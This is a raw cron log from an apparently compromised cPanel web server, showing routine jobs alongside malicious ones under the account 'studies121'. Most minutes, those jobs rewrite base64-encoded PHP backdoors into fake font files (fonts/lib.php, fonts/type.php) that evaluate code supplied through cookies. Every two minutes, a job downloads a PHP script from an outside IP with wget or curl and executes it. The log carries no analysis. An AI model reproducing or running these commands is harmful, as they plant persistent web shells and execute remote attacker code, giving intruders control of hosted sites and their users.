Aug 31 13:16:01 ip-184-168-122-23 CROND[5556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:16:01 ip-184-168-122-23 CROND[5559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:17:01 ip-184-168-122-23 CROND[5644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:17:01 ip-184-168-122-23 CROND[5646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:17:01 ip-184-168-122-23 CROND[5645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:17:01 ip-184-168-122-23 CROND[5647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:18:01 ip-184-168-122-23 CROND[5726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:18:01 ip-184-168-122-23 CROND[5728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:18:01 ip-184-168-122-23 CROND[5729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:18:01 ip-184-168-122-23 CROND[5730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:18:01 ip-184-168-122-23 CROND[5731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:19:01 ip-184-168-122-23 CROND[5898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:19:01 ip-184-168-122-23 CROND[5900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:19:01 ip-184-168-122-23 CROND[5903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:19:01 ip-184-168-122-23 CROND[5907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:20:01 ip-184-168-122-23 CROND[6012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:20:01 ip-184-168-122-23 CROND[6017]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:20:01 ip-184-168-122-23 CROND[6015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:21:01 ip-184-168-122-23 CROND[6124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:21:01 ip-184-168-122-23 CROND[6125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:21:01 ip-184-168-122-23 CROND[6126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:21:01 ip-184-168-122-23 CROND[6128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:22:01 ip-184-168-122-23 CROND[6210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:22:01 ip-184-168-122-23 CROND[6212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:22:01 ip-184-168-122-23 CROND[6213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:22:01 ip-184-168-122-23 CROND[6214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:22:01 ip-184-168-122-23 CROND[6215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:23:01 ip-184-168-122-23 CROND[6312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:23:01 ip-184-168-122-23 CROND[6314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:23:01 ip-184-168-122-23 CROND[6318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:23:01 ip-184-168-122-23 CROND[6320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:24:01 ip-184-168-122-23 CROND[6399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:24:01 ip-184-168-122-23 CROND[6401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:24:01 ip-184-168-122-23 CROND[6403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:24:01 ip-184-168-122-23 CROND[6402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:24:01 ip-184-168-122-23 CROND[6404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:25:01 ip-184-168-122-23 CROND[6489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:25:01 ip-184-168-122-23 CROND[6491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:25:01 ip-184-168-122-23 CROND[6493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:25:01 ip-184-168-122-23 CROND[6492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:25:01 ip-184-168-122-23 CROND[6495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:25:01 ip-184-168-122-23 CROND[6496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:26:01 ip-184-168-122-23 CROND[6575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:26:01 ip-184-168-122-23 CROND[6577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:26:01 ip-184-168-122-23 CROND[6579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:26:01 ip-184-168-122-23 CROND[6580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:26:01 ip-184-168-122-23 CROND[6578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:27:01 ip-184-168-122-23 CROND[6665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:27:01 ip-184-168-122-23 CROND[6666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:27:01 ip-184-168-122-23 CROND[6667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:27:01 ip-184-168-122-23 CROND[6669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:28:02 ip-184-168-122-23 CROND[6755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:28:02 ip-184-168-122-23 CROND[6759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:28:02 ip-184-168-122-23 CROND[6757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:28:02 ip-184-168-122-23 CROND[6758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:28:02 ip-184-168-122-23 CROND[6760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
